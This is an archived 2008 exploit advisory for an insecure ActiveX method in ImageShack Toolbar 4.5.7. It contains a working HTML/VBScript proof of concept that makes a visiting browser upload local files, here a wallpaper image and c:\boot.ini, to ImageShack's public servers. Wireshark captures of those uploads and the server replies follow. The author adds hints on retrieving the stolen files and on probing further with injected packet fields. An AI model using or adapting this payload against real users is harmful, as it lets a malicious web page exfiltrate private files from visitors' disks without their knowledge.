ImageShack Toolbar 4.5.7 FileUploader Class Insecure Method PoC

🗓️ 25 Jan 2008 00:00:00Reported by RootType
ImageShack Toolbar 4.5.7 FileUploader Security Vulnerabilit

                                                &lt;!--
ImageShack&nbsp;Toolbar&nbsp;4.5.7&nbsp;FileUploader&nbsp;Class&nbsp;(ImageShackToolbar.dll)&nbsp;insecure
method&nbsp;poc

This&nbsp;tool&nbsp;may&nbsp;allow&nbsp;a&nbsp;malicious&nbsp;web&nbsp;page&nbsp;to&nbsp;post&nbsp;arbitrary&nbsp;images&nbsp;on&nbsp;the&nbsp;web
from&nbsp;a&nbsp;user&nbsp;hard&nbsp;drive.&nbsp;Images&nbsp;will&nbsp;be&nbsp;visible&nbsp;on&nbsp;ImageShack&nbsp;site,&nbsp;a&nbsp;way&nbsp;for&nbsp;an
attacker&nbsp;to&nbsp;retrieve&nbsp;them&nbsp;maybe&nbsp;tag&nbsp;search&nbsp;or&nbsp;by&nbsp;understanding&nbsp;the&nbsp;renaming
operation,&nbsp;ex.&nbsp;&quot;_&quot;&nbsp;chars&nbsp;are&nbsp;removed&nbsp;and&nbsp;the&nbsp;&quot;tq2&quot;&nbsp;string&nbsp;is&nbsp;appended.
My&nbsp;test&nbsp;image&nbsp;is&nbsp;still&nbsp;visible&nbsp;here:
http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg
Note&nbsp;that&nbsp;a&nbsp;file&nbsp;with&nbsp;a&nbsp;non-image&nbsp;extension&nbsp;can&nbsp;cross&nbsp;the&nbsp;network,&nbsp;Imageshack
server&nbsp;replies&nbsp;with&nbsp;an&nbsp;error&nbsp;message,&nbsp;however&nbsp;this&nbsp;needs&nbsp;further&nbsp;investigation
that&nbsp;I&nbsp;let&nbsp;you&nbsp;to&nbsp;do,&nbsp;ex.&nbsp;with&nbsp;custom&nbsp;packet&nbsp;fields&nbsp;injection.

I&nbsp;suggest&nbsp;users&nbsp;to&nbsp;uninstall&nbsp;it&nbsp;temporarily&nbsp;an&nbsp;just&nbsp;use&nbsp;the&nbsp;site&nbsp;functionalities

Object&nbsp;safety&nbsp;report:

RegKey&nbsp;Safe&nbsp;for&nbsp;Script:&nbsp;True
RegKey&nbsp;Safe&nbsp;for&nbsp;Init:&nbsp;True
Implements&nbsp;IObjectSafety:&nbsp;True
IDisp&nbsp;Safe:&nbsp;&nbsp;Safe&nbsp;for&nbsp;untrusted:&nbsp;caller

rgod-tsid-pa-he-ru-ka
-
stay&nbsp;tuned&nbsp;with&nbsp;us&nbsp;...
http://retrogod.altervista.org/join.html
security&nbsp;feeds,&nbsp;radio&nbsp;streams,&nbsp;techno/drum&nbsp;&amp;&nbsp;bass&nbsp;stations&nbsp;to&nbsp;come
--&gt;

&lt;html&gt;
&lt;body&gt;
&lt;object&nbsp;classid='clsid:BDF9442E-9B03-42C2-87BA-2A459B0A5317'&nbsp;id='suntzu'&nbsp;/&gt;&lt;/object&gt;
&lt;script&nbsp;language='vbscript'&gt;
suntzu.BuildSlideShow&nbsp;&quot;file:///c:\\xp_wallpaper_glass.jpg&quot;,&quot;Big&quot;,1,&quot;uhuhinterestingprivatethings&quot;,&quot;Fade&quot;,&quot;White&quot;
suntzu.BuildSlideShow&nbsp;&quot;file:///c:\\boot.ini&quot;,&nbsp;&quot;Big&quot;,1,&quot;uhuhinterestingprivatethings&quot;,&quot;Fade&quot;,&quot;White&quot;
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

----

some&nbsp;wireshark's&nbsp;dump&nbsp;samples:

POST&nbsp;/upload_api.php&nbsp;HTTP/1.1
Content-Type:&nbsp;multipart/form-data,&nbsp;boundary=B-O-U-N-D-A-R-Y731553141
Content-Length:&nbsp;21755
User-Agent:&nbsp;ImageShack&nbsp;Toolbar&nbsp;4.5.7&nbsp;([..])
Host:&nbsp;load9.imageshack.us
Connection:&nbsp;Keep-Alive
Cache-Control:&nbsp;no-cache
Cookie:&nbsp;imgshck=[..];&nbsp;un_cookie=1;&nbsp;latest=img404;&nbsp;flashInstalled=9.0;&nbsp;__qca=[..];&nbsp;rem_bar=1;&nbsp;nopopunder=1

--B-O-U-N-D-A-R-Y731553141
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;toolbar&quot;

IEImageShackToolbar-4.5.7.69
--B-O-U-N-D-A-R-Y731553141
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;public&quot;

yes
--B-O-U-N-D-A-R-Y731553141
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;xml&quot;

newformat
--B-O-U-N-D-A-R-Y731553141
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;tags&quot;

uhuhinterestingprivatethings
--B-O-U-N-D-A-R-Y731553141
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;rembar&quot;

1
--B-O-U-N-D-A-R-Y731553141
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;fileupload&quot;;&nbsp;filename=&quot;xp_wallpaper_glass.jpg&quot;
Content-Type:&nbsp;image/jpeg
Content-Transfer-Encoding:&nbsp;binary

[file&nbsp;content]
--B-O-U-N-D-A-R-Y731553141
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;thumbupload&quot;;&nbsp;filename=&quot;xp_wallpaper_glass6fa1f1.jpg&quot;
Content-Type:&nbsp;image/jpeg
Content-Transfer-Encoding:&nbsp;binary

[file&nbsp;content]
--B-O-U-N-D-A-R-Y731553141
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;class&quot;

s
--B-O-U-N-D-A-R-Y731553141--


reply:

HTTP/1.1&nbsp;200&nbsp;OK
Connection:&nbsp;close
Transfer-Encoding:&nbsp;chunked
X-Powered-By:&nbsp;PHP/5.1.2
Set-Cookie:&nbsp;latest=img262;&nbsp;expires=Sun,&nbsp;18-Jan-2009&nbsp;07:56:24&nbsp;GMT;&nbsp;path=/;&nbsp;domain=.imageshack.us
Set-Cookie:&nbsp;PHPSESSID=[..];&nbsp;path=/
Set-Cookie:&nbsp;always_opt=-1;&nbsp;path=/;&nbsp;domain=.imageshack.us
Set-Cookie:&nbsp;rem_bar=1;&nbsp;expires=Sun,&nbsp;18-Jan-2009&nbsp;07:56:24&nbsp;GMT;&nbsp;path=/;&nbsp;domain=.imageshack.us
Expires:&nbsp;Thu,&nbsp;19&nbsp;Nov&nbsp;1981&nbsp;08:52:00&nbsp;GMT
Content-type:&nbsp;text/xml
Pragma:&nbsp;public
Cache-Control:&nbsp;must-revalidate,&nbsp;post-check=0,&nbsp;pre-check=0
Date:&nbsp;Thu,&nbsp;24&nbsp;Jan&nbsp;2008&nbsp;07:56:25&nbsp;GMT
Server:&nbsp;lighttpd/1.4.8

&lt;?xml&nbsp;version=&quot;1.0&quot;&nbsp;encoding=&quot;iso-8859-1&quot;?&gt;&lt;imginfo&nbsp;xmlns=&quot;http//ns.imageshack.us/imginfo/6/&quot;&nbsp;version=&quot;6&quot;&nbsp;timestamp=&quot;1201161385&quot;&gt;
&nbsp;&nbsp;&lt;rating&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;ratings&gt;0&lt;/ratings&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;avg&gt;0.0&lt;/avg&gt;
&nbsp;&nbsp;&lt;/rating&gt;
&nbsp;&nbsp;&lt;files&nbsp;server=&quot;262&quot;&nbsp;bucket=&quot;7959&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;image&nbsp;size=&quot;16646&quot;&nbsp;content-type=&quot;image/jpeg&quot;&gt;xpwallpaperglasstq2.jpg&lt;/image&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;thumb&nbsp;size=&quot;3155&quot;&nbsp;content-type=&quot;image/jpeg&quot;&gt;xpwallpaperglasstq2.th.jpg&lt;/thumb&gt;
&nbsp;&nbsp;&lt;/files&gt;
&nbsp;&nbsp;&lt;resolution&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;width&gt;426&lt;/width&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;height&gt;320&lt;/height&gt;
&nbsp;&nbsp;&lt;/resolution&gt;
&nbsp;&nbsp;&lt;class&gt;s&lt;/class&gt;
&nbsp;&nbsp;&lt;uploader&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;ip&gt;87.11.97.155&lt;/ip&gt;
&nbsp;&nbsp;&lt;/uploader&gt;
&nbsp;&nbsp;&lt;links&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;image_link&gt;http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.jpg&lt;/image_link&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;image_html&gt;&amp;lt;a&nbsp;href=&amp;quot;http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg&amp;quot;&nbsp;target=&amp;quot;_blank&amp;quot;&amp;gt;&amp;lt;img&nbsp;src=&amp;quot;http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.jpg&amp;quot;&nbsp;alt=&amp;quot;Free&nbsp;Image&nbsp;Hosting&nbsp;at&nbsp;www.ImageShack.us&amp;quot;&nbsp;border=&amp;quot;0&amp;quot;/&amp;gt;&amp;lt;/a&amp;gt;&lt;/image_html&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;image_bb&gt;[URL=http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg][IMG]http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.jpg[/IMG][/URL]&lt;/image_bb&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;image_bb2&gt;[url=http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg][img=http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.jpg][/url]&lt;/image_bb2&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;thumb_link&gt;http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.th.jpg&lt;/thumb_link&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;thumb_html&gt;&amp;lt;a&nbsp;href=&amp;quot;http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg&amp;quot;&nbsp;target=&amp;quot;_blank&amp;quot;&amp;gt;&amp;lt;img&nbsp;src=&amp;quot;http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.th.jpg&amp;quot;&nbsp;alt=&amp;quot;Free&nbsp;Image&nbsp;Hosting&nbsp;at&nbsp;www.ImageShack.us&amp;quot;&nbsp;border=&amp;quot;0&amp;quot;/&amp;gt;&amp;lt;/a&amp;gt;&lt;/thumb_html&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;thumb_bb&gt;[URL=http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg][IMG]http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.th.jpg[/IMG][/URL]&lt;/thumb_bb&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;thumb_bb2&gt;[url=http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg][img=http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.th.jpg][/url]&lt;/thumb_bb2&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;ad_link&gt;http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg&lt;/ad_link&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;done_page&gt;http://img262.imageshack.us/content.php?page=done&amp;amp;l=img262/7959/xpwallpaperglasstq2.jpg&lt;/done_page&gt;
&nbsp;&nbsp;&lt;/links&gt;
&lt;/imginfo&gt;

with&nbsp;the&nbsp;boot.ini&nbsp;file:

POST&nbsp;/upload_api.php&nbsp;HTTP/1.1
Content-Type:&nbsp;multipart/form-data,&nbsp;boundary=B-O-U-N-D-A-R-Y732118720442
Content-Length:&nbsp;1077
User-Agent:&nbsp;ImageShack&nbsp;Toolbar&nbsp;4.5.7&nbsp;(WinNT&nbsp;5.1&nbsp;Service&nbsp;Pack&nbsp;2)
Host:&nbsp;load10.imageshack.us
Connection:&nbsp;Keep-Alive
Cache-Control:&nbsp;no-cache
Cookie:&nbsp;imgshck=[..];&nbsp;un_cookie=1;&nbsp;latest=img214;&nbsp;flashInstalled=9.0;&nbsp;__qca=[..];&nbsp;rem_bar=1;&nbsp;nopopunder=1;&nbsp;always_opt=-1

--B-O-U-N-D-A-R-Y732118720442
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;toolbar&quot;

IEImageShackToolbar-4.5.7.69
--B-O-U-N-D-A-R-Y732118720442
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;public&quot;

yes
--B-O-U-N-D-A-R-Y732118720442
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;xml&quot;

newformat
--B-O-U-N-D-A-R-Y732118720442
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;tags&quot;

uhuhinterestingprivatethings
--B-O-U-N-D-A-R-Y732118720442
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;rembar&quot;

1
--B-O-U-N-D-A-R-Y732118720442
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;fileupload&quot;;&nbsp;filename=&quot;boot.ini&quot;
Content-Type:&nbsp;application/octet-stream
Content-Transfer-Encoding:&nbsp;binary

[boot&nbsp;loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating&nbsp;systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS=&quot;Microsoft&nbsp;Windows&nbsp;XP&nbsp;Home&nbsp;Edition&quot;&nbsp;/&nbsp;fastdetect&nbsp;/NoExecute=OptIn
--B-O-U-N-D-A-R-Y732118720442
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;class&quot;

s
--B-O-U-N-D-A-R-Y732118720442--

reply:

HTTP/1.1&nbsp;200&nbsp;OK
Transfer-Encoding:&nbsp;chunked
X-Powered-By:&nbsp;PHP/5.1.2
Content-Type:&nbsp;text/xml
Set-Cookie:&nbsp;latest=img89;&nbsp;expires=Sun,&nbsp;18-Jan-2009&nbsp;07:56:28&nbsp;GMT;&nbsp;path=/;&nbsp;domain=.imageshack.us
Date:&nbsp;Thu,&nbsp;24&nbsp;Jan&nbsp;2008&nbsp;07:56:28&nbsp;GMT
Server:&nbsp;lighttpd/1.4.18

&lt;links&gt;
&lt;error&nbsp;id=&quot;wrong_file_type&quot;&gt;Wrong&nbsp;file&nbsp;type&nbsp;detected&nbsp;for&nbsp;file&nbsp;boot.ini:application/octet-stream&lt;/error&gt;
&lt;/links&gt;
25 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1